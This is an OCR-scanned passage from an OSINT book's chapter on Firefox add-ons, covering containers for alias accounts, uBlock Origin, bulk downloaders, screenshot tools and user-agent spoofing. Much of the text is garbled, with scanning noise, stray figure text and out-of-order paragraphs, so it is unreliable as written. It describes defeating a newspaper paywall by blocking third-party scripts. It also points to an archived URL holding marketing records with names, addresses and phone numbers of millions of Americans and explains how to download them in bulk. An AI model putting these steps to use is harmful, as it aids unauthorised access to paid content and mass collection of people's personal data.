and select Alias 01. This opens a new blank tab within this container. I navigate to Facebook and log in to an alias account. 1 then want to log in to a second Facebook account, so 1 click on the containers menu and select Alias 02. This opens a new tab in that container. 1 then navigate to Facebook and receive a login prompt. I log in to my second account and can switch back and forth between tabs. You should note that Facebook can see you have the same IP address for each login, but they cannot see your cookies from one session to the other. You could replicate this process for any other social network or service. You could also have numerous Gmail accounts open within one browser. When I first installed this add-on, I went a bit too far with customized containers. I wanted all Facebook pages to load in their own container, which prevented the ability to log in to multiple accounts. I removed this option and established the rule mentioned previously which allowed me to have multiple logins, but lost the isolation from Facebook to other websites. I created containers for most of the sites 1 visited, which was overkill. There is no perfect solution. Evaluate your needs and create the most appropriate set of containers vital to your investigation. If you want to isolate a container to only open designated sites, click "Manage Containers"; select the desired container; and enable the "Limit to Designated Sites" option, which is visible in Figure 3.01 (right). This prevents accidental openings of undesired sites within a secure container. On my personal laptop, my containers are focused on privacy and isolate invasive services such as Amazon, Google, and online payment services. 1 also isolate financial websites and personal email tabs. 1 highly recommend applying these same strategies to your personal devices. I possess the following containers on my personal laptop. When complete, you have created a rule within Firefox. Any time you connect to google.com, regardless of the container you are in, or if you have Google set as your default search from within the URL field, Firefox will open a new "Google" tab to complete your connection. This isolates your Google traffic from any other tab, and applies to any Google sites, such as Google Voice, Gmail, etc. If you regret making this type of rule, you can either delete the entire container or just the policy for that site. In this example, I can go to the Containers menu; click the "Manage Containers" option; then select the Google container; then click the delete option. Dedicated Container: I assign specific websites to a container so they will always open in that container. I use this for Google because I do not want my search history associated with other investigation activities. If I ever visit Google as part of an investigation, the site will open in a new container tab which I designated "Google". This is regardless of which tab I try to use. The following steps configure this option. Safety: While I am viewing my target's Twitter profile, I see a link to an external website from his page. I am logged in to a Twitter account within this container and I do not know what this linked website will try to load. I do not want to jeopardize my investigation. I right-click on the link and choose "Open link in New Container", and then select the desired container tab, such as "Harmful". The new tab will open within this container created for questionable websites. The page I open cannot see any cookies stored within my container associated with my Twitter login. Multi-Account Contalnora Harmful Name 2 > Delete This Container with the of die script. 24 Chapter 3 M Open New Tab in... 0 Reopen This Srta in._ # Sort Tabs by Container 22 Ahvays Open This Silo in... > Conti nun W Leaks Q AfiasOI O Aias02 O Atas 03 O AtasM fill Harmful 0 Google Manage Containers Harmful Color - ' o o o Icon 8 ill O 3? 7t S fl O W 0) W O Illi Options Limit to Designated Sites Manage Site List.. uBlock Origin (addons.mozilla.org/firefox/addon/ublock-origin) the application's website at protected on a basic level. By content is blocked. This step alone can take it a step further. Figure 3.01: The Firefox Multi-Account Containers menus. After you have enabled the Advanced settings as explained above, clicking on the uBlock Origin icon should now present an expanded menu which will change as you visit different sites. In order to explain the function of this menu, I will conduct a demonstration using the website cnn.com. Figure 3.02 displays the default view of uBlock Origin with the site loaded. While this book is printed in black and white, your view will be in color, and likely all options will appear grey. Scrolling down this list of scripts that have either been loaded or blocked, you can see several questionable scripts such as Twitter, Amazon, and Turner. These scripts allow tracking across multiple websites and are the technolog}’ responsible for monitoring your interests, web history, and shopping habits. This menu is split into three columns. The first simply identifies the type of code or domain name The second column is global settings. Anything changed here will apply to all website visits. The third column contains settings for the current website. A single plus sign (+) indicates that less than ten scripts were allowed Click on the uBlock Origin icon in the menu and select the "Dashboard" icon to the right, which appears as a settings option. This will open a new tab with the program's configuration page. On the "Settings" tab, click the option of "I am an advanced user". This will present an expanded menu from die uBlock Origin icon from now forward. Click on the "Filters" tab and consider enabling additional data sets that may protect your computer. I find the default lists sufficient, however I enable "Block access to LAN" under "Privacy". You now have extended protection that will be applied to all visited websites without any interaction from you. When you encounter a web page with a lot of advertisements, such as a news media website, it should load much faster. It will block many of the pop-ups and auto-play media that can be quite annoying when conducting research. This protection will suffice for most users, but dedicated OSINT analysts may choose to take a more advanced approach. I have previously recommended NoScript, Adblock Plus, Privacy Badger, and Disconnect as privacy add-ons that would help stop unwanted ads, tracking, and analytics. These are no longer present on any of my systems. I now only use uBlock Origin, as it replaces all of these options. This section may seem a bit overwhelming, but experimenting with the advanced settings should help you understand the functionality. Let's start with the basics. Install uBlock Origin from the Firefox add-ons page or directly by navigating to htq)s://addons.mozilla.org/en-LJS/firefox/addon/ublock-origin/. You are now default, most known invasive advertisements, tracking code, and malicious would provide much needed protection from the internet. However, we noricnrixom /J </>* less Figure 3.02: An advanced view of uBlock Origin. Web Browsers 25 runs scroti lu-fwt, KW1 ttnn h,an*« »v« a crj^ccri •d»lw'.u«r«m truis»-aet0tc<n cam ctuXecaaxcm cn>rtt««l£eai efcud tlx-o tom ockiclaa eg hostc • on Se ■ • WO ent i! J one hundred scripts were allowed. The blocked from that domain, while the dual " o ? ?2, we know that over ten scripts blocked from sending data to Twitter. This is all security, uBlock Origin decides which content Mcatm Emcrannmenr St* Ti»»| on i*.» p*Q* SG(47X) Ccniins coonento 4 twict 36 ftockrd fence kutal $6 (46M 05 '*“’0 Busnese Oprucn We can also take this to the opposite extreme. In Figure 3.04 (left), I clicked on the ’’power button” in the upper­ right. This turned the entire left edge green in color, and allowed all scripts to load on cnn.com. This includes the dozens of intrusive scripts that could load advertisements on the page. You can also see that small plus signs confirm that scripts were allowed to run while die minus signs in Figure 3.03 state the opposite. For most users, this allowance would seem irresponsible. However, there is a specific reason that we want die ability to allow all scripts. If you are collecting evidence, especially in criminal cases, you may want to archive a page exactly as it was meant to be seen. When we block scripts, we are technically modifying the page (evidence). By intentionally allowing all scripts before the collection of the screen capture, we know that we are viewing the page in an unmodified format. This may be overkill for many investigators, but you should know your options. White House casts doubt on Saturday rally j Preus secretary Kaylclgh McEnarry repeatedly declined to provide ipccmcs on what bar mo Prcuoont would need to pass to travel Tr^r«j appcvirj pUL.'-d to tar.v Cord 19 uxiUcn ® Anderson Cooper Preraen: Irurrp r, own; t i a ratja UVE UPOATtS. CrzAJ-13 Hurricane Oita U3 eiccOoo ThCHtMIG. Gretcf Next, we will modify the second (middle) column, which will apply settings globally. By default, all options are grey in color, which is desired by most users. This indicates that the default block list is applicable, and only invasive scripts will be blocked everywhere. For demonstration, I clicked on the right (red) portion of the top cell in the second column. This turned the entire column red, and indicates that all scripts across all websites will be blocked. After I saved my changes, evety website will only load the most basic text content. This will prohibit much of our research. Using this same page, let's modify the options. In Figure 3.03 (left), 1 have clicked on die far-right portion of the first cell in the third column. This turned the entire third column red in color. This action activated an option to refresh the page (arrows) and an option to save the change (padlock). Clicking the padlock and then refreshing the page presented me with the example in Figure 3.03 (right). Since I blocked evety script, the page would not fully execute. It could not load images, design scripts, or any JavaScript. This is not useful at all, so I disabled my actions by clicking on the left (grey) section of the top cell in the third column, which turned the entire column back to grey in color. Saving these changes and refreshing the page brought me back to the example in Figure 3.02. from that specific option. Two plus signs indicate that between ten and single minus sign (-) indicates that between one and nine scripts were L. minus signs tell us that ten to one hundred scripts were blocked. In Figure 3.02, were allowed to run from cnn.com, and at least one script was default behavior and provides a balance of functionality and should be allowed and which should be blocked. OB® 0 o Aa = Figure 3.03: Disabled scripts within uBlock Origin. 26 Chapter 3 Ird-puty 3rd carry icnp'.l Jrdca.ty *r«n«i min* ctrsu U:-f 3'ty tcnptt 3-J-J.yty tcreti ♦ Loading a page such as a Twitter profile resulted in no usable content. By clicking on the uBlock Origin icon and clicking the left (grey) sections of specific cells within the third column, 1 enabled those scripts without allowing everything on the page. While you cannot see the colors in Figure 3.04 (right), you can see the difference in shading. In this example, the entire second column is red. This indicates that all scripts are blocked globally. The third column is mostly red, but the options for twitter.com and twimg.com are grey. Those scripts will be allowed, if approved by uBlock Origin's rules, only for that domain. If I load a blog that has scripts from Twitter, they would still be ignored. Hopefully, you arc practicing these settings and learning how this program functions. It is an amazing option that has protected me many times. If you are doing things right, you have likely completely messed-up your settings and are now7 blocking things you w'ant while allowing things you do not. Don't worry, we can reverse all of our mistakes by first making the global (second column) settings back to grey (left section of top cell). Next, return to the dashboard settings of die add-on, and click on the "My Rules" tab. In the second column (Temporary Rules), select all of the text and press the delete key on your kevboard. Click the "Save" button in this same column and then the "Commit" button to apply these settings everywhere. This resets our extension and brings us back to default usage regardless of your modifications. This is important in the event you go too far with settings in the future. Removing and reinstalling the extension does not ahvays wipe this data out of your system. The primary benefit of uBlock Origin over odier options is the simple ability to block malicious scripts without customization, while having an option to allow7 or block any or all scripts at our disposal. This is a rarity in these types of add-ons. Another benefit is the ability to bypass website restrictions, such as a news site blocking articles unless the visitor has a subscription service. Consider the following example with the Los Angeles Times. Visiting the page allows you to view7 three articles for free, but you must have a paid subscription in order to continue using die site. Figure 3.05 displays the results of my blocked access. If I click on the uBlock Origin menu while on this page, select the right (red) option on die right (third) column under the setting for "3rd patty7 scripts", then the padlock icon, and reload the page, I see a different result. I am now7 allowed to see the article. An example of this is seen in Figure 3.06. This is because this website relics on a third-party script to identify whether a visitor is logged in to the sendee. This modification presents unlimited view's of articles without registration on this and thousands of other websites. These are extreme examples. Let's bring this back to some sanity. The following is how7 I recommend using uBlock Origin. Install, enable advanced options, and proceed with your work. When you arrive at a website that is blocking something you want to see, open the menu and click on the left (grey) section of the top cell in the third column. That wall allow' everything to load on that page, and that page only. When you are about to navigate to a questionable site that may tty' to install malicious code on your machine, click on the right (red) section of the top cell in the second column. That will block all scripts on all pages. Conduct your research and reverse the change when you are finished. Remember to click the save button (padlock) after each change and refresh the page. H <z> Blocked on tni: prje 11 (91%) Do.Ta.ni connected lOUtOf 1 Biockco since instac 1.158M (11%) o s n 1.30.0 wwwenn.com B » A? </>“ Blocked cn ew pojo 55 (46%) Oo—J -5 connected 4 out of 37 Blocked w t c» Insud 1.156M (11%) f 0 r. WTiCti twrtt'xcom www cnn.com </>* 0 £1 H © 1> Aa •di-MMtrum KlMfcpnrtcctcd com ♦ O 1230 Version 1300 txxxrVein com Figure 3.04: Fully and partially enabled scripts with uBlock Origin. Print subscriber? ActivatedigitaLaccess Already a subscriber? Login Figure 3.05: A website blocking access to an article. Images 3rd-party inline scripts www.latimes.com 1st-party scripts CALIFORNIA 3rd-parly scripts 0“ © H «>■ Aa 3rd-party frames latimes.com www.lalimc5.com Figure 3.06: Bypassing a restriction with 3rd-party script blocking. Web Browsers 27 SUBSCRIBE tit-pvtyuncti 3rd-fMrtr »Crotl to evidence, but provides a much Inltvrr 04Kk«d on tr.-k p»5* OfOXJ De-rum corrected 44 out of 44 Slocked >nco 1.1SBM (11%) Blocked on this page 18 (81%) L-S-wh urea Eos Angeles Simes The state of what's next. 1C<1t%) 2<Zrtcf 3 E >xtad vex <mUl 11J8M <11X) Iwurrj ten I "7™ The final example of uBlock Origin within this chapter, which I rely on with my daily browsing, is the Inline Scripts blocker. For this demonstration, I will navigate to cnn.com. Clicking on almost any article presents a new page, including new annoyances. An undesired video begins playing while scrolling down the page, multiple images from unrelated articles populate over some of the article text, a pop-up advertisement interrupts my view, and over 56 scripts attempt to monitor your activity. uBlock Origin blocks tine malicious scripts, but not all of the annoyances. We could block each script individually, but that is time consuming. Instead, consider a simple modification of the inline scripts setting. Click on the uBlock Origin menu while on the desired page, select the right (red) option on the right (third) column under the setting for "inline scripts", then the padlock icon, and reload the page. The site should load much faster and block all of the inline scripts being pushed to you by the provider. You should notice that all pages on cnn.com load immediately, and without all of the undesired media interfering with your research. Clicking the grey area in this same box reverses die action. I apply this feature to practically every news website I visit. It blocks vital information if your desire is to obtain a screen capture as more pleasing environment if you simply want to read the articles. Bound by duty an arp mininn’ DownThemAll (addons.mozilla.org/firefox/addon/downthemall) https://web.archive.org/web/20151110195654/http.7/www.updates4ne\vs.com:80/kylcdata/ properly parse Title Fast Filtering Disable ethers Use Once Mask •naene’.’cxt* Use Once Cancel Add paused Figure 3.07: The DownThemAll download window. Bulk Media Downloader (addons.mozilla.org/firefox/addon/bulk-media-downloader/) 28 Chapter 3 Archives (zip, rar, 7z, _} Documents (pdf, cdf, docx, ) Videos (mp4, webm, mkv, _) Au do (mp3, floc, wav, Images (jpeg, png. gf. _) __ hi .... Download Description Parent Directory 04-01-2015-Feedl.csv 04-01-2015-Feed2.csv 04-01-2015-Feed3.csv Archive.org possesses a copy of a website which once offered several gigabytes of marketing data containing millions of records on /Americans, including full names, addresses, telephone numbers, and interests. The archive can be found at the following URL. Similar to DownThemAll, this add-on can make downloading a large number of media files easy. It should serve as a backup in the event you find a page which DownThemAll wall not function properly. If you locate a page of several audio or video files, it can be time consuming to save them all manually. Additionally, you run the risk of accidentally skipping a file. Bulk Media Downloader provides a solution. As an example, I navigated to Twatter and searched the word Video. This presented hundreds of embedded videos within a single page. I launched Bulk Media Downloader, which displayed a pop-up option over my browser. In this pop-up, I can select specific file types such as Video or Audio. I chose only the Video option and reloaded the Twitter page in die background. The Bulk Media Dowmloader tool began populating video links as I scrolled down the Twitter page. Figure 3.08 displays the result. Clicking the Download button retrieved all of the videos in MP4 format as DownThemAll simplifies the process of extracting bulk data from a web page. It attempts to identify linked video, audio, images, documents, or any other type of media within a site. It then allows you to easily download everything at once. Consider the following example. This URL presents hundreds of large CSV and TXT files. Later in this book, 1 discuss how to [ x \ through this content and create your own searchable file with this example. For now, I simply need to download each file. While on the page, click on the DownThemAll toolbar menu and select "DownThemAll". In the new' window', you should see all of the data links present on this site. Clicking the "All Files" box near the bottom selects each of the files. Clicking "Download" in the low'er right begins the process of downloading all of the data from the page (which may take hours), and places each file in the default download location for your operating system. Please do not download this data set yet, as it will fill your disk space in your VM. We will discuss external storage methods later. Figure 3.07 displays the action window' for this example. This add-on is a requirement for any browser I use. I find it to w'ork better than the next option, but consider all alternatives for your ow'n needs. • ® © nKg-6xten&kffl.//60fa7974-804b-4e4e-B05b-3979529d2ea3 - Do»».nThen>Ai:| - Select your Downloads g? Links Download v https7Meb.archive.orfl/iveb/20151110195654/http:/Aw»v.updates4newsxom/ httpsJ/web.archive.org/web/20151110195654/http7Aww.upd3tes4nev/s.com:fi0/'<yled3ia/04-01-20l5._ http$://web. archive. orgMeb/20151110195654/http://wM.updates4newsxom:80/kyiedata.'04-01-2015._ https://vzeb.archive.org.Aveb/20151110195654/http://www.updates4nevrs.com:80'ity!edata/04-01-2015._ Filters Al files Z Software (exo, mii, 1 JPEG Images Down oM (orowcr) Copy Lirks Paute Figure 3.08: A Bulk Media Downloader window. Date Added Kind Sac Figure 3.09: Files extracted from Twitter with Bulk Media Downloader. Video DownloadHclpcr (addons.mozilla.org/en-US/firefox/addon/video-downloadhelper/) 29 Web Browsers • Click on the icon placed in your menu bar and select the Settings icon. • Click the "Behavior" tab and change the "Max concurrent downloads" to 20. • Change the "Max Variants" to 99. • Select the "Hide ADP Variants" option and click "Save". Name W fTBYZGep3yZ500jeJnp4 g kfllhEBR6DvfRuaWA.mp4 g kglhEBR6DvfRuaWA(1).mp4 g kglhEBR6Dv1RuaWA(2).mp4 E3 KWRNeShwB4fpStT.mp4 E RLHhavXyk0ky6w1l.fr.p4 Si6UlkTQN0CfGG5.mp4 B si6UlkTQNocfGGs(1).rr.p4 Sl79(10O»)» 371.3 KB 120.4 KB 348 5 KB 3242 KB 309.5 KB 352.6 KB 372.9 KB 405.4 KB 365.7 KB 376.4 KB 305J KB 490 KB 330 KB 3B0KB 380 KB 174 KB 271 KB 388 KB 383 KB MPEG-4 mevie MPEG-4 mevia MPEG-4 movie MPEG-4 movie MPEG-4 movie MPEG-4 movie MPEG-4 movie MPEG-4 movie Link hUpjJMCeo.twimg conV«xl_tw_vkJea^39283126782482817ZpuMC/360*S40/kghEBR6DZRuaV/Ajn; httpsi/zvideo. twimg. tom/ ext_tw_vfcJeo/93926274095011 MOO/puMaWJCOQ' 1 B0x320/DoG voT 8AZTZ hlips JMCeo. twimg com/eU_tw_wCea,93920274095011 MOG’puYC WXOO/JGOxMO/niBcaB'JM FLL1 hUp97/v>deo.tw>mg. COnVe«_rw_vk5eo/93926274095011840Q'pi#/l<l'3C0(1600C/36Ox640/EeoQSqPOs hllpsJ/vWeo.twvng.axr7exJ_tw_vldea‘93926274095011840C/puVld'6axy9COa'360x64a/xQziiBoGd; hflps7Md<K».twimgconVCXtJw_Vk;eo<939262740950118400/pu/via.'9C<)0/1200C/360x640.RniBz6Tt5c h tlpsJMdeo. twimg. com/ext_tw_vid ea'9392627409501154OQ' pa Vi d/1200015000/360x54 C/Yes2a9. «.f hllpsJ/vidoa.twimg. com/QC twviCea939262740950118400/puMd' 1 tJXXJ 16000'360x640/C9B29PW hnpa7Mdao.twimg.ttxr..'e5rfJw_vt(Jea’93926274C950118400'piWlC/l 800071000/360x64 Cf.h95gCLK h Ups JMCca. twimg. corrVcxl_tw_ vW etV93926774095011840C/puW2100C/24000060x64C/VP21 cV.'i httpS‘J/video.twimg.conVext_tw_>video/9392627409501184OQ/pu/vfd/24000/27000/360x64C/gnZ 1 qAbE htlpsVMceo. twimg corn/ext_tw_videa93926274095011840C.pxiVid/2700C/30000/360x64C/s834E oG< Today at 2:54 PM Today at 2:44 PM Today at 2:45 pm Today at 2:54 PM Today at 2:54 PM Today at 2:54 PM Today at 2:45 PM Today at 2:54 PM * Type (video) • Q vlcoo/mp4 v><Jea'mp2t Q viceo/mp2t videaTnpTt vkJeo/mp2l vidoa7np2t G vlceo/mp2t d vtcoa’mp2t v)deo.mp2t £2 vKco/mp2t videa'mp21 vlceo/mp2t 272.8 KB ABfi.es Application Image E Video Audio Arthve Document Tab This extension will assist with downloading media that is located during your search. It works well with videos such as those found on Vimeo and other hosts. It does not work well with YouTube, and we wall use a better option in the next chapter. When this extension is enabled, an icon \xdll appear within your browser that looks like three grey circles. Any time you open a website that includes media content, such as a video, these circles will turn to full color. This is an indication that the media on the page can be extracted. VThile this add-on wall work immediately after installation, I have found specific configuration changes to be helpful to OS1NT investigators. When downloading videos, especially from YouTube, the ADP format requires secondary conversion software to be installed. I do not like this option as it introduces unnecessary software to my machine. Furthermore, I never want to convert video evidence. I simply want to extract the options available directly from the source. Therefore, eliminating the ADP options from our view as explained above reduces the chance of downloading undesired content. In Figure 3.10 (left), the ADP options are present and would not be ideal download choices. In the example on the right, 1 have eliminated these choices and I am presented with more appropriate options. seen in Figure 3.09. This utility works well on sites that have a large number of embedded audio or video files, as well as those that contain numerous documents. You can easily select or deselect entries individually, or select categories at the bottom that fit your needs. — $ Figure 3.10: Menu options from Video DownloadHelpt>er. Full Web Page Screenshots (addons.mozilla.org/en-us/firefox/addon/fireshot/) %n-%u-%t-%y-%m-%d-%H-%M-%S Figure 3.11: Results from FireShot screen captures. 30 Chapter 3 By accessing the "Options" area of the menu, you can assign customized naming features. Click "Show filename template settings" in the options page and change the default value to the following. Name •»' OOO-https inteltechniques.com_-lnterrechniques.com IOSINT Training by Michae_-2017-12-08-14-21-16.pdf *» 001-https__privacy-training.com_-Privacy Training created by Michael Bazzell-2017-12-08-14-21-48.pdf h 002-https twitter.comJntelTechniques-Michael Bazzell (@lntelTechnlques) I Tw_-2017-12-08-14-22-10.pdf as the intelligence existed. Full Web ••• C? Sc-rch 519 Open Source Intelligence What I lear.„ k- 'W o 1280x720 - HD720 - MP4 O 480x360 - Medium - MP4 O 480x360 - Medium - WEBM O 320x240 - Low - 3GPP O 176x144 - Ltnv - 3GPP Documenting and archiving your progress with an OSINT investigation is as important discovered. The general rule is that if you do not have proof of your findings, then they never Page Screenshots, also known as FireShot, provides you with an easy solution to capturing all of your results. When enabled, this extension is a button in the upper right portion of your browser. It appears as a blue square containing the letter "S". Clicking the icon presents a menu with options. The best option is to select "Capture entire page" and then "Save to PDF". This will create a PDF document of the entire page exactly as it appears in your browser and then save it to anywhere you choose. The file can later be archived to a removable storage device. The title of the document will match the title of the web page and it will include the URL of the page. ••• Search jjb r I! 519 Open Source Intelligence What I tear... U jj O 1280x720 - HD720 - MP4 O ADP - 1280x720 - 1415 MB - MP4 O ADP - 1280x720 -141.7 MB - MKV f O ADP - 1280x720 - 69 MB - MKV ‘ O ADP -1280x720 - 67.2 MB -WEBM , O 480x360 - Medium - MP4 This method is preferred over a standard screen capture for several reasons. A typical screen capture only captures the visible area and not the entire page. You must then open a program into which you "paste" the data and then save the file. This extension automates this and saves it in a format that is difficult to edit. This can be beneficial during testimony. You can now extract embedded media files from websites by clicking the icon and selecting the appropriate file. If your desired media is going to be used in court, I recommend downloading all sizes available. If you only want a personal archive, the largest size should be downloaded. You will now have a pure digital extraction of the target video. This is better than a screen capture or recording of the video because there is less loss of data from analog conversion. If downloading a large number of videos, consider the script which will be explained soon. This setting will change the default name of each page capture. Each file will be named a numerical value, followed by the website URL, followed by title, and followed by the date and time of capture. Changing the %n value to 0 and the Pad option to 3 will ensure that your captures always start with a numerical value of 0 and ascend chronologically. This can help determine the order of evidence you retrieved. Be sure to "Apply" and then "Save" after you have made your desired changes. Figure 3.11 displays a typical series of results. Notice that you can quickly see the order captured (first three digits), target website, description, and date & time. Nimbus (nvitter.com/intcltcchniqucs) Firefox Screenshot Web Browsers 31 • Right-click within the page and select "Take Screenshot". • Choose "Save full page". • Click "Download". • Click on the Nimbus icon and choose the "gear" icon in the lower-right • In the "File name pattern" field, insert {url}-{dde}-{date}-{time}. This will name every capture with the URL and tide of the target website along with date and dme of capture. • Check "Enable Quick Screenshot" and select the "Entire Page" option in the first row and "Download" option in the second row. One common failure of both FireShot and Nimbus is the capture of extremely large Social Network pages. While this is rare on computers that have ample resources such as processing power and RAM, it can be quite common on older machines with low specifications. Surprisingly, I have found FireShot to work better on large Twitter profiles and Nimbus to be best for large Facebook pages. I have no logic to offer for this discover}’. Again, having both at our disposal will make us better prepared for online evidence collection. When both fail, consider Firefox’s own solution on the next page. The process ran for about three minutes and saved an image .png file to my default downloads director}’. It was several megabytes in size. The default filename includes die word Screenshot, date, and tide from the webpage. 1 loaded my own Twitter profile and scrolled back to posts from a year prior. This generated quite a long page and my computer fans increased speed due to the heat generated from my processor. I attempted a screen capture with both FireShot and Nimbus, and each failed. I then executed the following with Firefox. After these changes, clicking the Nimbus icon in the menu bar will no longer present a menu with options. Instead, it will automatically select the entire page, apply the proper file naming, and download the capture as a maximum quality PNG file to your Desktop. While a PDF file created with FireShot is the preferred file format, a PNG file has other advantages. The PNG file is more universal and does not require PDF viewing software such as Acrobat Reader. However, PNG files are easy to edit, and establishing the integrity of the file may be difficult. I believe that Nimbus should be used as a supplement to FireShot. Nimbus allows you to specify whether you want to capture only the visible portion of the page, the entire page, or a custom selection from the page. The drop-down menu presents these choices and the result is saved as a PNG file. This is not optimal for online investigations, but is better than no capture at all. Another feature of Nimbus is the ability to manipulate captures. I believe that this is bad practice as we usually want to provide the most authentic and accurate evidence as possible. I do not want to manipulate any potential evidence. Therefore, 1 recommend the following configurations. While FireShot is my preferred screen capture utility within Firefox, there are some instances where it does not perform well. If you have a target's Facebook page that has a lot of activity present, this may create a screen capture too large for FireShot. The rendering process will likely expend all of the computer's video memory and fail to create the file. When this happens, I use Nimbus as my first backup. You may not like either FireShot or Nimbus. In general, you get what you pay for with these (they are free). When I have an extremely’ long Facebook or Twiner page, I find both of those options mediocre at best. Lately, I find myself using the embedded Firefox Screenshot utility more than anything else. Consider the following example. Exif Viewer (addons.mozilla.org/en-us/firefox/addon/exif-newcr) EXIF IFDO Figure 3.12: The right-click menu and result from an Exif Viewer search. User-Agent Switcher and Manager (addons.mozilla.org/firefox/addon/user-agent-string-switchcr/) 32 Chapter 3 View Image Copy Imago Copy Image Location View Rotated Image (Exif) View Image EXIF Data Copy Image to Ust-it Save Image As... Email lmage_ Set As Desktop Background... View Image Info • Camera Make = Canon • Camera Model = Canon PowerShot A590 IS • Picture Orientation = normal (1) • X-Reso!ution = 100/1 ===> 180 • Y-Resolution = 180/1 ===> 180 • X/Y-Reso!ution Unit = inch (2) • Last Modified Date/Timo = 2009:07:0210:35-16 • Y/Cb/Cr Positioning (Subsampling) = centered I center of pixel array (1) This extension provides right-click access to the Exif data embedded into images. Later chapters explain what Exif data is and how it can be useful. With this extension enabled, you can right-click on any full size image located on a web page. The menu option is "View Image Exif Data" and a new window will open when selected. This window will identify’ any available metadata about the image. Figure 3.12 (left) displays the right-click menu with a new' option to View’ Image Exif Data. Figure 3.12 (right) displays partial results that identify die make and model of the camera used to capture an image. When installed, you have a new' option in your browser. The menu allows you to choose a mobile operating system, such as iOS or Android, or a desktop browser such as Internet Explorer or Chrome. It will also allow' you to specify your operating system such as Mac or Window's. Whatever you choose, this data will be sent to any' site that you visit. If you visit a w'ebsite of a tech-sawy' target, he or she may know' that y'ou were looking around. You may also be revealing that you are using a specific browser, such as Firefox, and a Windows computer (common in government). You could now' change your agent to that of a mobile device or Google Chromebook which may not look as suspicious. To do so, you would click on the menu bar icon; select the desired browser to emulate (such as Edge), select the desired operating system (such as Window's); choose exact offering (such as Edge 92.0.1 Window's 10); and click "Apply’ (container on window')". Click the "Test UA" button to visit a page which will confirm your new' active user-agent. To return to the default Firefox option in your native operating system, click on the "Restart" button and refresh the page. Figure 3.13 displays an example w'here a mobile version of Yahoo was delivered to a desktop computer. Figure 3.14 displays the same page without any' user-agent spoofing. Occasionally, you may visit a w'ebsite that does not want to cooperate with Firefox. Browsers notify websites of their identity’ and websites can alter or refuse content to certain products. One example is that some older websites require Microsoft's Internet Explorer to view' die content. Even though Firefox is capable of displaying the information, a w'ebsite can refuse the data to the browser. Another example is mobile websites that display different content if viewing from an iPhone instead of a computer. This can now' all be controlled with User- Agent Switcher and Manager. Note that this is a different application than the recommendation within the previous edition of this book (User-Agent Switcher). User-Agent Switcher and Manager offers many new' features, one of which we will discuss in the Instagram chapter. Overall, most photos on social networks do not contain any’ metadata. They have been "scrubbed" in order to protect the privacy of users. However, many blogs and personal websites display images that still contain metadata. While Chapter Twenty will explain online w’ebsites that display this data, a browser add-on is much more efficient. In myr experience, this extension will increase the amount of times that you will search for this hidden content. be viewed on Linux computers. yahoo/ The ii-incn iPaa Pro returns io an all-time low i Cfry-t nOTMSHS 3 lLTX.1 *1>» » Ml AZCV, C:.aw7»03MlM UX.4 0 llr»>. —I I a e. Mor* 1 LtfrV-* Oami 75 0 IMS 51 uwawso tUuu *-e->a ». sv Atoa/i . Crrt r» 0 «4S .93 Claudia Conway Is the Intemcrs Political Hcro- Vi-iiSOX»vr.v»»CTSite.UJ<m»T<i‘.-iMas - CNwx« 79 0JMSJ1 ©Mart flre.'ta yob©©/ lAuei90>XH.lru .St W.r»SCC:G««=C9lW<3 LteraS0(X11 Lnj>M_M.rr.7*£iG«AS?:tW'5. Lnj. iCC M USVAyortf Maxii/40 PH. H*W1 lima «*4.<A r. • »-C) CrtV/JC 190101 ferlc-vll 0 Figure 3.14: A page without user-agent spoofing. 33 Web Browsers IhnU'.tilna n SUGinui AxaWeWC | U- p ,w-i. 0. IV C7!S) x»«-AKA4S1.. TalfiS tyrrylfonj to next Icvtf i Snag tho nexxx t *fv« iPxd Pt x..-| lain* Hwnwo Manx Gzaton for net Ukin COVlO-Btnt btlon PoJSo AMcoeudPnm Challenger demands Gr debate appVencn Rnu<t WrrJiTib The 11-lnch Pro ret Amazon 'jy Q Or»-< 79C3US5J Figure 3.13: User-Agent Switcher and Manager disguising a desktop system as a mobile device. ia~A0.ru Han/lOO/-.-. IftSMOISqAjoUWtMlAnJKOtTWUiuOaaGre^naJM! ChrisChristie condition unknown, remains hos| piaSsrtn -r.vu Q Wrtor^«t> !......771 In another situation, while still employed by the government, various mandated online training needed to be completed in order to maintain specific certifications. This government-hosted training was poorly designed and required users to access via Internet Explorer. Since I used an Apple computer, I could not connect until 1 changed my agent to Internet Explorer within my Firefox browser. I have used this on several occasions to bypass poor security protocols. During one investigation, I had encountered a web forum of a hacking group that always appeared blank upon visit. Google had indexed it, but I could not see any content. By changing my default agent to Firefox on a Linux machine, 1 was allowed to see the content. The group had enabled a script that would only allow the page to Expire morn Experts: Ballistics report Show* Louisville Ohio £) Bookmarks Co... Ihcr-Arjcnt Sm. . Q localcCH Please note that user-agent spoofing will not fool every website. If the target site includes JavaScript which scans for additional identifiers, such as touch points and video cards, the real details may be presented. I host a demonstration page at https://intcltechniques.com/loggcr/ which you can use to see how some sites may bypass your trickery. While this level of scrutiny is rare, it is a possibility. Always know what websites may be able to see about your computer and connection before any sensitive investigation. Refresh my test page as you make changes to this extension. Image Search Options (addons.mozilla.org/firefox/addon/image-search-options/) Resurrect Pages (addons.mozilla.org/en-US/firefox/addon/resurrect-pages/) about online archives later in Copy Selected Links (addons.mozilla.org/en-US/firefox/addon/copy-selected-links/) 34 Chapter 3 Memento Timetravel: A standard cache of the target address from Memento This add-on will not give you any content that you could not locate manually from these sources. Instead, it serves as an easy way to quickly identify interesting content. You will learn more about online archives later in this book. Google: A standard cache of the target address from Google Google (Text Only): The text-only view of a standard Google cache The Internet Archive: A link to the target page within The Internet Archive Archive.is: Any captures of the target address domain on Archive.is WebCite: Any captures of the target address domain on WebCite Using the utility is fairly straightforward. While on any website, select any or all text, right-click anywhere in the page, and select the ’’Copy selected links" option in the menu. The links will be stored in your clipboard and you can paste them into Notepad, Excel, or any other productivity application. There are unlimited uses for Copy Selected Links, and below are a few of my favorite. Figure 3.15: A reverse image search menu. A later chapter explains reverse image search engines and how they can identify more target photographs. Popular options include Google Images and TinEye. This extension automates the reverse search when an image is right-clicked. When installed, "Image Search Options" is present when you right-click on an image. Highlighting this option presents several reverse image search sendees including Google, Bing, TinEye, Yandex, Baidu, and others. You wall later learn how my online search tool will execute an image search across all of those sendees at once. However, this tool can be beneficial due to the convenience and obscure services such as Karma Decay, which looks for copies of images on Reddit. This add-on removes any excuse to not always check reverse images on target websites. With this add-on enabled, you will be ready to enhance your searches during that investigation. Figure 3.15 displays the options after right-clicking an image located on a target website. This extension provides a link to archived versions of websites whenever a page has been modified, is unavailable, or has been deleted. Right-clicking on any site will offer a new menu option of "Resurrect this page". That option will present the following archive sendees. Copy Image Copy Image Location S SauceNAO 